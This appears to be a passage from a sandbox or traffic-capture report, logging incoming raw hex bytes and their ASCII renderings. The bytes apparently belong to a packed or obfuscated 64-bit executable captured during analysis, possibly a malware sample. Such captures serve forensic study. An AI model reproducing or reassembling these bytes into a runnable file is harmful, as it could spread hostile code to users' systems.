2023-05-10 00:21:18 UTC	6144	IN	Data Raw: fe 40 f6 d7 40 fe cd 48 0f bd fc 40 80 f5 92 40 0f 91 c7 48 0f 44 fc 40 8a f8 40 fe cd 40 f6 d5 49 63 fc 66 c1 f7 36 66 0f ac ff 15 40 32 dd 41 22 fd 88 14 2c 66 c1 e7 a1 f8 66 41 1b fb 41 8b 39 66 f7 c4 b6 3b 41 81 f8 b3 70 c9 2c 44 3a e5 49 81 c1 04 00 00 00 66 41 3b ec f8 f5 33 fb e9 81 ae fb ff 49 8b 00 0f ba e6 70 80 f1 ce 49 8b 70 08 fe c1 12 cb 41 8a 48 10 49 81 c0 02 00 00 00 49 f7 c4 ce 48 88 56 48 0f a5 f0 49 0f bf cb e9 ec 0d 04 00 41 8b 01 d2 c3 41 0f b7 cd 0f a2 45 85 f1 f7 c1 12 70 b1 2a 49 81 e9 0c 00 00 00 40 84 e7 41 89 41 0c 41 89 59 08 41 89 49 04 41 89 11 49 81 ea 04 00 00 00 41 8b 12 44 84 ef 41 33 d3 e9 26 f1 08 00 49 8b 08 41 c0 e9 4c 41 d2 c9 36 8b 01 49 0f ba f9 25 44 32 c8 66 41 ff c9 49 81 c0 04 00 00 00 49 0f ba f9 c9 41 c0 c9 Data Ascii: @@H@@HD@@@Icf6f@2A",ffAA9f;Ap,D:IfA;3IpIpAHIIHVHIAAEp*I@AAAYAIAIADA3&IALA6I%D2fAIIA
2023-05-10 00:21:18 UTC	6160	IN	Data Raw: f5 4a 8e 12 d1 c8 66 44 85 c0 2d ff 09 de 69 45 3a f9 40 84 e0 f9 f7 d8 e9 09 f1 08 00 55 c3 e9 af 74 03 00 41 ff c1 f8 f5 41 c1 c1 02 e9 6d 21 fa ff f5 4d 63 c9 49 03 d9 e9 29 17 08 00 41 8b 39 41 8b 41 04 40 8a eb 49 81 e9 04 00 00 00 66 81 ed b5 7e 03 f8 66 41 0f 4c e8 48 63 ec 41 89 79 08 40 8a ef 41 0f bf e8 9c 41 8f 01 66 c1 dd cf 49 81 ea 04 00 00 00 66 81 f5 00 34 41 8b 2a 41 33 eb 44 84 e0 66 44 3b cb e9 33 b3 02 00 e9 3b f7 03 00 48 8b 17 48 8b 02 44 84 c0 48 89 07 41 3a f4 48 0f b7 c8 66 0f ba e1 26 48 81 ed 04 00 00 00 40 12 cd 0f 47 cb 8b 4c 25 00 41 33 c9 66 81 fd 9e 5c f7 d9 0f c9 81 c1 64 5d 64 0c c1 c1 02 f5 e9 7a 41 fa ff ff cb 48 f7 c6 b4 7e 39 1a 48 81 fd 0c 14 aa 20 81 f3 f2 56 d3 6b 84 e3 f8 e9 0e 0f 05 00 41 ff e1 4c 8b 5c 25 00 48 Data Ascii: JfD-iE:@UtAAm!McI)A9AA@If~fALHcAy@AAfIf4A*A3DfD;3;HHDHA:Hf&H@GL%A3f\d]dzAH~9H VkAL\%H
2023-05-10 00:21:18 UTC	6176	IN	Data Raw: 07 a7 53 c0 91 97 54 b7 2b c6 5d 2e bd f6 5a 59 1e 63 3e c7 88 53 39 b0 32 02 30 29 a4 32 37 5e 35 2f 88 ce a3 1f 8f b9 19 4e 86 20 8f 7e 81 57 2c eb e5 c9 ba db e2 be 00 8a eb 27 96 ba ec 50 ab 97 8a e6 3d a7 8d 91 87 f6 84 08 11 c6 83 7f b2 53 e7 e1 24 63 e0 96 9e 32 e9 0f 08 02 ee 78 99 1f 51 e8 0f 2f 56 9f b5 7e 5f 06 23 4e 58 71 80 db 3c ef 16 eb 3b 98 ac ba 32 01 3a 8a 35 76 cf 87 3d fb 59 b7 3a 8c e3 e6 33 15 75 d6 34 62 d6 43 50 fc 40 73 57 8b fa 22 5e 12 6c 12 59 65 fd 0f e6 f5 6b 3f e1 82 d1 6e e8 1b 47 5e ef 6c e4 cb 8b f2 72 fb 8c 85 c8 aa 85 1c 5e 9a 82 6b 41 ff c8 41 d1 c0 49 81 ff 3c 28 84 03 66 41 85 f4 41 81 c0 08 01 a5 37 f8 f5 e9 5c 29 00 00 41 c1 cb 02 e9 25 21 01 00 48 3b f4 4c 1b cb 40 80 f7 e2 45 8a cd 41 c0 d3 f2 41 f7 d1 40 f6 d7 Data Ascii: ST+].ZYc>S920)27^5/N ~W,'P=S$c2xQ/V~_#NXq<;2:5v=Y:3u4bCP@sW"^lYek?nG^lr^kAAI<(fAA7\)A%!H;L@EAA@
2023-05-10 00:21:18 UTC	6192	IN	Data Raw: c8 d1 c0 84 e8 e9 e8 88 ff ff 41 81 e9 ab 36 21 7c 41 f7 d1 e9 fe 2b 06 00 4d 03 c2 e9 ae 77 03 00 f8 48 63 ff 4c 03 df e9 a8 51 01 00 44 8b 44 25 00 66 41 d3 d9 41 81 e9 0d 21 cd 7a 8a 4d 04 4d 0b cd 41 d2 f1 66 44 13 cd 48 81 ed 06 00 00 00 41 d3 e0 66 45 0f 47 ca 44 89 45 08 45 0f b7 c9 49 f7 d1 e9 41 b5 fb ff 41 ff c2 41 f7 d2 e9 05 c7 f9 ff 49 81 ea 01 00 00 00 66 41 0f be f4 f8 41 f6 c1 b3 45 0f b6 02 48 c1 fe f5 45 32 c1 66 8b f1 48 0f b7 f1 41 fe c0 66 41 0f b6 f7 41 d0 c8 48 0f b7 f6 41 fe c8 66 ff ce 41 80 f0 47 45 32 c8 40 22 f3 40 d2 c6 40 fe c6 42 8b 34 04 f9 48 81 ed 04 00 00 00 41 f6 c5 c4 41 81 f9 b8 02 cb 06 89 74 25 00 66 81 ce 42 12 66 0f bb e6 49 81 ea 04 00 00 00 41 8b 32 41 33 f1 f8 c1 c6 02 f7 d6 f7 de f8 c1 ce 03 f9 41 51 31 34 24 Data Ascii: A6!\|A+MwHcLQDD%fAA!zMMAfDHAfEGDEEIAAAIfAAEHE2fHAfAAHAfAGE2@"@@B4HAAt%fBfIA2A3AQ14$
2023-05-10 00:21:18 UTC	6208	IN	Data Raw: 00 00 00 f5 66 3b e4 41 33 c2 f6 c7 03 f5 2d 61 34 be 19 e9 8f ec 02 00 49 f7 c4 f8 56 2e 66 41 f7 d8 66 81 ff f0 02 49 85 fe 41 0f c8 f5 4c 85 df 41 52 44 31 04 24 66 41 81 f2 f5 53 66 45 0f be d1 4d 0f ab e2 41 5a 41 80 f8 82 4d 63 c0 49 03 d8 e9 bf 65 fa ff 8f 44 25 00 f9 8b 0e 66 81 ff 45 18 40 f6 c5 91 48 81 c6 04 00 00 00 41 33 ca e9 38 7f 04 00 44 8b 4c 25 00 66 d3 d2 8b 55 04 c0 e9 61 8a 4d 08 f8 e9 20 45 01 00 41 52 c3 41 ff cb 66 45 85 f2 41 f7 c7 46 15 77 30 41 51 41 c0 d1 ea 41 d2 e9 44 0f b7 cc 44 31 1c 24 41 59 4d 63 db 66 41 f7 c5 30 10 85 e0 f9 4d 03 c3 e9 0a 37 03 00 56 c3 48 8b 0b 45 0f a4 da da 4c 8b 53 08 f9 f5 48 f7 d1 49 f7 d2 49 23 ca e9 bc 8e fd ff 45 84 ee 41 81 c3 0f 79 e8 04 e9 6d e1 02 00 41 ff cb 41 f7 c0 d1 7e 44 0d 48 81 f8 Data Ascii: f;A3-a4IV.fAfIALARD1$fASfEMAZAMcIeD%fE@HA38DL%fUaM EARAfEAFw0AQAADD1$AYMcfA0M7VHELSHII#EAymAA~DH
2023-05-10 00:21:18 UTC	6224	IN	Data Raw: 06 d5 b8 d3 90 e5 bf a4 01 f8 00 34 97 c8 07 43 2d 99 0e da bb a9 09 ad 18 3c 6d 33 8e 0c 6a 44 34 5d 63 dd a2 6d 64 aa 0f 01 de 6a 99 31 d9 1d 23 60 d0 84 b5 50 d7 f3 16 c5 b3 6d 80 f5 b4 1a 3a a4 bd 83 ac 94 ba f4 3d 89 05 64 ab b9 02 13 11 e8 0b 8a 87 d8 0c fd 24 4d 68 63 b2 7d 6f 14 08 2c 66 8d 9e 1c 61 fa 6b 11 69 77 fd 21 6e 00 47 70 67 99 d1 40 60 ee 72 d5 04 70 e4 e5 03 07 5e b4 0a 9e c8 84 0d e9 59 99 b2 79 cf a9 b5 0e 75 f8 bc 97 e3 c8 bb e0 40 5d df 7e d6 6d d8 09 6c 3c d1 90 fa 0c d6 e7 c7 21 b0 51 51 11 b7 26 eb 40 be bf 7d 70 b9 c8 de e5 dd 56 48 d5 da 21 f2 84 d3 b8 64 b4 d4 cf f5 a9 6b 5f 63 99 6c 28 d9 c8 65 b1 4f f8 62 c6 ec 6d 06 58 7a 5d 01 2f c0 0c 08 b6 56 3c 0f c1 a3 31 07 4c 35 01 00 3b 8f 50 09 a2 19 60 0e d5 ba f5 6a 4b 2c c5 6d Data Ascii: 4C-<m3jD4]cmdj1#`Pm:=d$Mhc}o,fakiw!nGpg@`rp^Yyu@]~ml<!QQ&@}pVH!dk_cl(eObmXz]/V<1L5;P`jK,m
2023-05-10 00:21:18 UTC	6240	IN	Data Raw: 57 c1 8d 7a c1 f1 8a 0d 7b a0 83 94 ed 90 84 e3 4e 05 e0 7d d8 35 e7 0a 62 64 ee 93 f4 54 e9 e4 01 59 e1 69 97 69 e6 1e 2d 38 ef 87 bb 08 e8 f0 18 9d 8c 6e 8e ad 8b 19 34 fc 82 80 a2 cc 85 f7 33 d1 3a 67 a5 e1 3d 10 1f b0 34 89 89 80 33 fe 2a 15 57 60 bc 25 50 17 06 74 59 8e 90 44 5e f9 ad 69 38 4f 3b 59 3f 38 81 08 36 a1 17 38 31 d6 b4 ad 55 48 22 9d 52 3f 98 cc 5b a6 0e fc 5c d1 9f e1 e3 41 09 d1 e4 36 b3 80 ed af 25 b0 ea d8 86 25 8e 46 10 15 89 31 aa 44 80 a8 3c 74 87 df c9 79 8f 52 5f 49 88 25 e5 18 81 bc 73 28 86 cb d0 bd e2 55 46 8d e5 22 fc dc ec bb 6a ec eb cc fb f1 54 5c 6d c1 53 2b d7 90 5a b2 41 a0 5d c5 e2 35 39 5b 74 05 3e 2c ce 54 37 b5 58 64 30 c2 d5 8b 32 ef 43 bb 35 98 f9 ea 3c 01 6f da 3b 76 cc 4f 5f e8 5a 7f 58 9f e0 2e 51 06 76 1e 56 Data Ascii: Wz{N}5bdTYii-8n43:g=43*W`%PtYD^i8O;Y?8681UH"R?[\A6%%F1D<tyR_I%s(UF"jT\mS+ZA]59[t>,T7Xd02C5<o;vO_ZX.QvV
2023-05-10 00:21:18 UTC	6256	IN	Data Raw: b1 15 9d 37 27 25 9a 40 84 b0 fe de 12 80 f9 a9 a8 d1 f0 30 3e e1 f7 47 93 8d 4d 87 05 bd 4a f0 bf ec 43 69 29 dc 44 1e 8a 49 20 80 1c 79 27 f7 a6 28 2e 6e 30 18 29 19 a1 05 96 89 37 35 91 fe 8d 64 98 67 1b 54 9f 10 b8 c1 fb 8e 2e f1 fc f9 94 a0 f5 60 02 90 f2 17 f7 9d fa 9a 61 ad fd ed db fc f4 74 4d cc f3 03 ee 59 97 9d 78 69 90 ea c2 38 99 73 54 08 9e 04 c5 15 21 94 53 25 26 e3 e9 74 2f 7a 7f 44 28 0d dc d1 4c 93 4a e1 4b e4 f0 b0 42 7d 66 80 45 0a 5b ad 23 bc cd 9d 24 cb 77 cc 2d 52 e1 fc 2a 25 42 69 4e bb d4 59 49 cc 6e 08 40 55 f8 38 47 22 69 25 f8 b2 ff 15 ff c5 45 44 f6 5c d3 74 f1 2b 70 e1 95 b5 e6 d1 92 c2 5c 80 9b 5b ca b0 9c 2c 3f bd 94 a1 a9 8d 93 d6 13 dc 9a 4f 85 ec 9d 38 26 79 f9 a6 b0 49 fe d1 0a 18 f7 48 9c 28 f0 3f 0d 35 4f af 9b 05 48 Data Ascii: 7'%@0>GMJCi)DI y'(.n0)75dgT.`atMYxi8sT!S%&t/zD(LJKB}fE[#$w-R*%BiNYIn@U8G"i%ED\t+p\[,?O8&yIH(?5OH
2023-05-10 00:21:18 UTC	6272	IN	Data Raw: f8 48 03 df e9 2e 94 01 00 0f 85 a0 97 fb ff 4c 8b c0 e9 01 5b 02 00 66 41 81 fb 92 2a f7 d8 c1 c0 03 f5 4d 85 f5 e9 01 b2 fc ff ff c9 f8 f5 c1 c1 03 f8 0f c9 66 f7 c1 06 6c 66 41 85 f3 f7 d1 f9 e9 fd 59 00 00 e9 8c e1 00 00 41 ff c0 41 d1 c8 f5 66 44 85 d8 e9 5b 42 02 00 49 8b e0 59 d3 ca 40 c0 de a4 41 80 dd 9f 5f f5 f6 c5 07 9d 66 99 45 8a e4 66 44 0f b6 fa 41 5d 0f 99 c6 48 98 41 5e 5a 41 5c 5e 41 5f 9f 44 0f bf d1 41 5b 66 f7 d0 49 0f b7 eb 5d 48 98 58 41 59 4d 63 d5 41 58 41 5a 41 0f bf d9 66 0f cb 5b e9 7d ae 07 00 48 87 ed 41 89 78 08 bd 62 4a 0e 24 e9 20 43 02 00 f8 33 ee ff c5 d1 c5 41 f6 c3 be f5 41 81 fe 87 41 f9 20 81 f5 9d 39 a7 20 41 80 ff e0 f8 66 85 e7 f7 d5 f9 66 f7 c4 b5 4d 44 84 f9 56 31 2c 24 66 0f ba f6 cd 5e 40 f6 c6 1c 48 63 ed f6 Data Ascii: H.L[fA*MflfAYAAfD[BIY@A_fEfDA]HA^ZA\^A_DA[fI]HXAYMcAXAZAf[}HAxbJ$ C3AAA 9 AffMDV1,$f^@Hc
2023-05-10 00:21:18 UTC	6288	IN	Data Raw: 2b 2a 21 25 bd 1a 26 52 07 4b 2f cb 91 7b 28 bc 32 ee 4c 22 a4 de 4b 55 1e 8f 42 cc 88 bf 45 bb 19 a2 fa 2b 8f 92 fd 5c 35 c3 f4 c5 a3 f3 f3 b2 00 66 97 2c 96 56 90 5b 2c 07 99 c2 ba 37 9e b5 87 1a f8 03 11 2a ff 74 ab 7b f6 ed 3d 4b f1 9a 9e de 95 04 08 ee 92 73 b2 bf 9b ea 24 8f 9c 9d b5 92 23 0d 23 a2 24 7a 99 f3 2d e3 0f c3 2a 94 ac 56 4e 0a 3a 66 49 7d 80 37 40 e4 16 07 47 93 e3 0a 4f 1e 75 3a 48 69 cf 6b 41 f0 59 5b 46 87 fa ce 22 19 6c fe 25 6e d6 af 2c f7 40 9f 2b 80 d1 82 94 10 47 b2 93 67 fd e3 9a fe 6b d3 9d 89 c8 46 f9 17 5e 76 fe 60 e4 27 f7 f9 72 17 f0 8e ff f8 f2 a3 69 c8 f5 d4 d3 99 fc 4d 45 a9 fb 3a e6 3c 9f a4 70 0c 98 d3 ca 5d 91 4a 5c 6d 96 3d cd 70 29 ad 5b 40 2e da e1 11 27 43 77 21 20 34 d4 b4 44 aa 42 84 43 dd f8 d5 4a 44 6e e5 4d Data Ascii: +!%&RK/{(2L"KUBE+\5f,V[,7t{=Ks$##$z-*VN:fI}7@GOu:HikAY[F"l%n,@+GgkF^v`'riME:<p]J\m=p)[@.'Cw! 4DBCJDnM
2023-05-10 00:21:18 UTC	6304	IN	Data Raw: e1 3d e9 32 92 02 00 4c 8b cb 48 81 eb 02 00 00 00 d2 e2 66 41 0f bc d0 66 41 0f be d2 66 44 89 0b 48 d3 fa f6 de 49 81 eb 04 00 00 00 66 41 0f be d5 f9 d2 d6 41 8b 13 45 85 fe f8 33 d6 f5 f7 da 3b dd 66 41 85 cc 0f ca 40 f6 c6 7a e9 2e f3 f7 ff 48 8b 37 8b 1e 81 f1 ae 47 6f 47 66 c1 c9 38 d2 c1 48 81 c7 04 00 00 00 89 1f 48 0f ba f1 e0 c6 c5 84 0f b3 c1 8b 4c 25 00 f9 48 81 c5 04 00 00 00 41 33 cb f7 d1 81 f1 c1 09 c1 02 f8 40 3a e2 66 f7 c3 c3 0f 81 c1 6c 58 cb 16 40 80 ff 8f f5 81 f1 86 19 cb 73 f9 f8 41 53 49 f7 db 31 0c 24 66 41 0f cb 49 81 cb fb 40 cb 77 41 5b 41 80 f9 09 48 63 c9 f9 e9 11 8b fa ff f5 66 41 81 ff 07 2b 45 33 ca 41 0f c9 f9 f6 c3 7a f8 41 f7 d9 e9 c7 95 08 00 ff ca f7 da 81 ea f9 64 b6 5f f9 44 84 ea f8 f7 da e9 a6 88 08 00 e9 ed 53 Data Ascii: =2LHfAfAfDHIfAAE3;fA@z.H7GoGf8HHL%HA3@:flX@sASI1$fAI@wA[AHcfA+E3AzAd_DS
2023-05-10 00:21:18 UTC	6320	IN	Data Raw: 41 81 e8 81 4d 09 22 f8 41 d1 c0 41 53 44 31 04 24 4c 0b dd 41 d2 cb 41 5b 4d 85 c6 4d 63 c0 f9 4d 03 d0 e9 45 18 fa ff 48 8b 07 66 d3 f2 c0 c9 03 66 d3 ea 48 8b 57 08 66 81 e9 8e 52 48 81 c7 10 00 00 00 48 89 10 66 c1 e1 04 80 d9 01 48 81 ed 04 00 00 00 48 63 ce 8b 4c 25 00 80 f9 a4 41 33 c9 44 84 fc 41 80 fe 05 81 e9 73 25 8c 02 f8 f7 d9 e9 9f 60 0a 00 41 53 c3 41 ff c9 e9 06 5f ff ff f7 d1 e9 f3 ca ff ff 81 fb 04 00 00 00 e9 95 1b 02 00 0f 86 09 00 00 00 ba 04 00 00 00 f5 8d 4b fc c1 e1 03 66 44 0f ab c8 80 e4 9b 48 0f a3 d0 c1 e2 03 b0 71 66 15 9b 2c 48 8b c5 85 c8 49 f7 c0 80 75 fe 0d 48 03 c2 48 89 44 25 f8 f5 e9 43 7e 06 00 41 f7 d0 e9 8d b0 09 00 e9 df 47 09 00 e9 d6 35 02 00 41 8b 38 41 12 c9 c0 d1 39 41 8a 48 04 4c 0f bf de 49 81 e8 06 00 00 00 Data Ascii: AM"AASD1$LAA[MMcMEHffHWfRHHfHHcL%A3DAs%`ASA_KfDHqf,HIuHHD%C~AG5A8A9AHLI
2023-05-10 00:21:18 UTC	6336	IN	Data Raw: 41 5b 48 63 c0 f9 48 03 f0 ff e6 44 3a e4 40 f6 c4 3e f6 da 66 41 85 d1 f9 44 32 ca 66 89 04 14 48 81 ed 04 00 00 00 66 c1 d8 9e 48 81 e8 a0 48 98 09 8b 44 25 00 41 33 c1 e9 c8 16 f8 ff 4c 03 d9 e9 47 8c 07 00 ff e3 f5 f7 d2 56 31 14 24 5e f9 48 63 d2 f5 e9 b0 f1 00 00 48 8b 44 25 00 c1 c7 bc 8a 4d 08 66 ff c7 48 81 ed 06 00 00 00 e9 e8 cd f8 ff e9 44 f6 01 00 66 44 8b 03 40 80 ef df 48 81 c3 02 00 00 00 49 81 eb 01 00 00 00 48 0f bf fc 41 0f b6 3b 45 0f a4 f9 01 45 1a cc 40 32 fe 40 fe c7 41 d2 d9 40 d0 cf 66 41 81 e9 ae 39 4d 87 c9 40 80 c7 94 66 45 0f a4 d1 f3 66 44 0f b6 cf 44 0a cb 40 f6 df 44 0f bf cb 40 fe c7 4c 0f bd c9 45 8a cb 40 f6 d7 41 0f ba f1 82 40 32 f7 66 44 89 04 3c 4d 0f ab e1 49 81 eb 04 00 00 00 45 22 cd 45 8b 0b e9 9a 04 00 00 ff cb Data Ascii: A[HcHD:@>fAD2fHfHHD%A3LGV1$^HcHD%MfHDfD@HIHA;EE@2@A@fA9M@fEfDD@D@LE@A@2fD<MIE"E
2023-05-10 00:21:18 UTC	6352	IN	Data Raw: d3 e8 86 ff 66 89 47 08 49 0f 47 df 66 40 0f be dc 8a ff 9c 8f 07 48 c1 db 04 49 0f b7 d9 4c 0f ab fb 8b 5c 25 00 41 f6 c7 d3 44 3a ed 48 81 c5 04 00 00 00 41 33 db f8 3b fb f7 db 66 41 85 fa 41 80 fd e7 44 3b e4 f7 d3 e9 d3 1a f9 ff 4c 8b 17 66 d3 f8 44 0f b3 fb 48 8b 5f 08 49 f7 d2 2a e5 48 0f ba f0 a4 48 f7 d3 4c 23 d3 e9 dd f4 f7 ff 81 c7 a7 10 27 7a f9 66 f7 c2 db 40 f7 df e9 3e b0 f8 ff 41 ff c9 f5 f9 e9 80 86 ff ff 48 81 c5 04 00 00 00 40 84 e9 e9 be 89 04 00 f7 f1 41 f6 d0 e9 c1 4d fe ff 4d 8b 01 fe cf 66 0f a4 c3 99 41 8a 79 08 49 81 c1 0a 00 00 00 66 c1 e3 5c f6 d3 36 41 88 38 40 2a dc 66 0f b3 d3 49 81 ea 04 00 00 00 41 8b 1a f9 41 80 ff f2 41 33 db f9 41 3b d4 81 c3 87 72 22 4c 44 85 e8 f7 db f7 d3 f9 81 f3 96 0b aa 2c 41 53 e9 c9 c4 fd ff 41 Data Ascii: fGIGf@HIL\%AD:HA3;fAAD;LfDH_IHHL#'zf@>AH@AMMfAyIf\6A8@fIAAA3A;r"LD,ASA
2023-05-10 00:21:18 UTC	6368	IN	Data Raw: 25 d2 45 40 f6 c5 ef 41 3a c5 81 eb 55 11 76 25 e9 1a 82 f9 ff 41 ff e2 ff c0 f8 e9 a9 78 ff ff ff cb f9 f5 d1 c3 44 85 fa f7 d3 f9 f5 41 51 41 fe c1 41 81 d1 d4 51 0b 5c 31 1c 24 41 d2 d1 66 41 f7 d1 41 59 e9 62 0e ff ff ff c7 d1 c7 0f cf 40 f6 c6 1d 66 45 3b f4 81 c7 3f 63 82 3a 41 52 45 86 d2 45 2a d2 31 3c 24 41 c0 ca 1b 41 80 d2 76 41 5a 49 f7 c4 d0 0c 5f 5e 48 63 ff 48 03 df e9 27 79 f7 ff ff c0 41 f6 c6 94 0f c8 e9 ae d1 08 00 ff c6 f8 e9 0f 13 00 00 8b 03 48 81 c3 04 00 00 00 0f c0 f2 d2 ca 49 81 eb 01 00 00 00 49 0f bc d1 41 0f b6 0b 40 32 ce 41 32 d5 fe ca 80 c1 5b d0 c9 48 0f ca f6 d1 66 99 48 d3 c2 0f ab ea 80 e9 e1 d3 c2 99 80 d2 f2 40 32 f1 66 c1 fa 07 40 2a d4 89 04 0c 66 0f ab ea 66 c1 da f4 49 81 eb 04 00 00 00 66 0f ba f2 e8 80 ee 08 66 Data Ascii: %E@A:Uv%AxDAQAAQ\1$AfAAYb@fE;?c:AREE1<$AAvAZI_^HcH'yAHIIA@2A2[HfH@2f@ffIff
2023-05-10 00:21:18 UTC	6384	IN	Data Raw: be d8 49 c1 c3 4d 41 5b 4d 63 c0 41 80 fa d0 4d 03 d0 e9 d2 41 f9 ff e9 d2 6b f9 ff 48 63 ff 49 f7 c1 5f 02 a1 6f f9 48 03 f7 e9 0b 5f 0a 00 e9 a3 21 ff ff e9 88 48 08 00 ff e5 66 44 8b 17 d2 dc 66 8b 47 02 45 84 db f5 48 81 ef 06 00 00 00 e9 fa a7 fe ff 4c 3b d8 41 f7 d3 41 81 eb a8 1b 01 64 f9 41 d1 c3 66 41 85 f6 41 0f cb 41 51 41 80 e1 10 44 31 1c 24 41 59 e9 aa 06 08 00 ff e5 0f c8 e9 d8 8f fb ff 66 0f b6 07 d2 e9 99 8a 4f 02 48 81 ef 06 00 00 00 d3 ea 66 0f ba e2 e1 d2 e8 66 40 0f b6 d7 41 0f b7 d6 66 40 0f be d7 66 89 47 08 48 0f b7 d0 9c 48 63 d4 66 d3 f2 8f 07 66 81 d2 ce 07 81 e2 58 37 aa 5f 48 81 ed 04 00 00 00 8b 54 25 00 41 33 d1 f7 da f5 c1 c2 02 f9 81 c2 15 08 3c 75 e9 32 fa f9 ff 48 8b 44 25 00 66 99 0f c0 d1 41 0a cf 48 8b 55 08 c0 c1 98 Data Ascii: IMA[McAMAkHcI_oH_!HfDfGEHL;AAdAfAAAQAD1$AYfOHff@Af@fGHHcffX7_HT%A3<u2HD%fAHU
2023-05-10 00:21:18 UTC	6400	IN	Data Raw: 41 81 fe 81 16 48 63 c0 48 03 f0 e9 41 f9 ff ff f8 48 63 c9 48 f7 c5 ec 47 33 5e f8 4c 03 c9 e9 ca 2b f9 ff d1 c8 f5 2d ff 09 de 69 48 85 ea f7 d8 e9 45 82 f9 ff 40 80 fd 19 81 ea 1d 20 95 23 f8 f9 c1 ca 02 41 53 31 14 24 49 0f ba fb df 41 0f ab eb 41 d2 f3 41 5b 48 63 d2 49 f7 c2 41 29 6b 3f 66 44 3b ef 48 03 f2 e9 65 b4 ff ff 66 f7 d1 66 0b f1 66 89 77 08 66 0f c9 41 0f b7 c9 9c 8f 07 66 0f ba f9 eb 8b 4c 25 00 f9 48 81 c5 04 00 00 00 f8 41 33 cb c1 c9 02 e9 c0 7f 05 00 e9 2f b4 ff ff e9 18 08 08 00 49 81 ea 01 00 00 00 41 0f b6 2a 66 0f ab ef 66 c1 e7 78 41 32 eb 66 c1 cf 1f 66 d3 d2 66 44 0f ab c7 40 d0 cd 40 80 f5 65 40 80 ed da f8 0f ab fa 40 d0 cd d3 fa 66 0f cf 40 f6 d7 44 32 dd 48 0f b7 d2 66 0f b6 3c 2c d2 e2 e9 7c 75 08 00 44 31 14 24 41 59 4d Data Ascii: AHcHAHcHG3^L+-iHE@ #AS1$IAAA[HcIA)k?fD;HefffwfAfL%HA3/IA*ffxA2fffD@@e@@f@D2Hf<,\|uD1$AYM
2023-05-10 00:21:18 UTC	6416	IN	Data Raw: f9 5a 41 59 f8 48 63 db 48 81 fb 65 25 3e 79 f8 4c 03 c3 e9 dd ba f8 ff 4c 0f ac f3 1f 49 81 c0 08 00 00 00 48 8b da e9 9c e4 fd ff 41 ff c2 41 d1 ca e9 c3 65 09 00 ff cd 41 84 e1 81 f5 80 7c b2 18 41 80 fe d0 f5 f8 0f cd f7 dd c1 c5 03 66 81 ff 11 18 81 ed 44 5d 71 1a 4d 3b cc f9 f7 dd e9 05 b6 fd ff 66 41 89 59 08 b3 99 9c 48 87 db 80 d7 75 41 8f 01 66 c1 f3 26 d3 e3 0f 9a c7 49 81 ea 04 00 00 00 41 8b 1a e9 44 17 05 00 41 ff c8 41 53 66 85 c2 44 31 04 24 41 80 eb c6 41 5b f8 4d 63 c0 f9 45 84 c2 49 03 f0 ff e6 c3 f5 48 63 d2 48 03 ea e9 9c d6 fe ff 4c 8b 54 25 00 36 41 8b 02 48 81 c5 04 00 00 00 66 45 0f 4a c8 89 44 25 00 4d 0f bf ca 44 8b 0b 41 3a d0 48 81 c3 04 00 00 00 45 84 ec f9 45 33 cb e9 57 40 06 00 48 03 f2 e9 2f ec f7 ff ff c5 41 f6 c1 19 f8 Data Ascii: ZAYHcHe%>yLLIHAAeA\|AfD]qM;fAYHuAf&IADAASfD1$AA[McEIHcHLT%6AHfEJD%MDA:HEE3W@H/A
2023-05-10 00:21:18 UTC	6432	IN	Data Raw: 76 00 00 41 51 45 84 ca 31 34 24 41 59 44 3a d4 41 80 fa 69 48 85 c4 48 63 f6 41 3a e1 48 03 de e9 49 17 f8 ff f7 d0 e9 6d c7 00 00 ff 74 25 00 48 63 d7 48 81 c5 08 00 00 00 49 1b d3 9d 66 41 33 d7 86 d2 0f a3 da 8b 13 f5 f9 48 81 c3 04 00 00 00 41 33 d3 f8 c1 ca 02 41 84 fe 66 f7 c1 3c 3d 0f ca 41 80 ff 64 f5 81 f2 58 4a e7 09 f8 f7 da 41 53 66 41 0f ab cb 31 14 24 41 5b 66 41 f7 c7 66 50 48 63 d2 48 03 f2 ff e6 e9 01 f8 09 00 f7 d7 e9 e0 4f 02 00 ff ca 66 3b ea 56 66 0f be f3 66 c1 e6 99 49 0f bf f0 31 14 24 d3 d6 41 32 f2 66 c1 fe f8 5e 41 f7 c2 3a 48 6c 5d f8 48 63 d2 48 03 ea e9 62 1f 06 00 f8 48 81 c6 04 00 00 00 41 33 fa e9 7e 40 f6 ff 41 50 c3 c1 c3 02 e9 f2 43 05 00 41 33 f1 40 3a fe f9 81 f6 8e 36 82 55 f5 f9 f8 f7 d6 c1 c6 03 81 f6 0b 7d 3b 3c Data Ascii: vAQE14$AYD:AiHHcA:HImt%HcHIfA3HA3Af<=AdXJASfA1$A[fAfPHcHOf;VffI1$A2f^A:Hl]HcHbHA3~@APCA3@:6U};<
2023-05-10 00:21:18 UTC	6448	IN	Data Raw: 5a 72 b6 d9 cc 42 b1 ae 76 13 b8 37 e0 23 bf 40 71 3e 00 d0 e7 0e 07 a7 5d 5f 0e 3e cb 6f 09 49 68 fa 6d d7 fe ca 6a a0 44 9b 63 39 d2 ab 64 4e ef 86 02 f8 79 b6 05 8f c3 e7 0c 16 55 d7 0b 61 f6 42 6f ff 60 72 68 88 da 23 61 11 4c 13 66 66 dd 0e d9 f6 4b 3e de 81 f1 6f d7 18 67 5f d0 6f c4 ca b4 f1 52 fa b3 86 e8 ab ba 1f 7e 9b bd 68 8b 96 b5 e5 1d a6 b2 92 a7 f7 bb 0b 31 c7 bc 7c 92 52 d8 e2 04 62 df 95 be 33 d6 0c 28 03 d1 7b b9 1e 6e eb 2f 2e 69 9c 95 7f 60 05 03 4f 67 72 a0 da 03 ec 36 ea 04 9b 8c bb 0d 02 1a 8b 0a 75 b7 e7 b0 b5 21 d7 b7 c2 9b 86 be 5b 0d b6 b9 2c ae 23 dd b2 38 13 da c5 82 42 d3 5c 14 72 d4 2b 85 6f 6b bb 13 5f 6c cc a9 0e 65 55 3f 3e 62 22 9c ab 06 bc 0a 9b 01 cb b0 ca 08 52 26 fa 0f 25 d3 f7 07 a8 45 c7 00 df ff 96 09 46 69 a6 0e Data Ascii: ZrBv7#@q>]_>oIhmjDc9dNyUaBo`rh#aLffK>og_oR~h1\|Rb3({n/.i`Ogr6u![,#8B\r+ok_leU?>b"R&%EFi
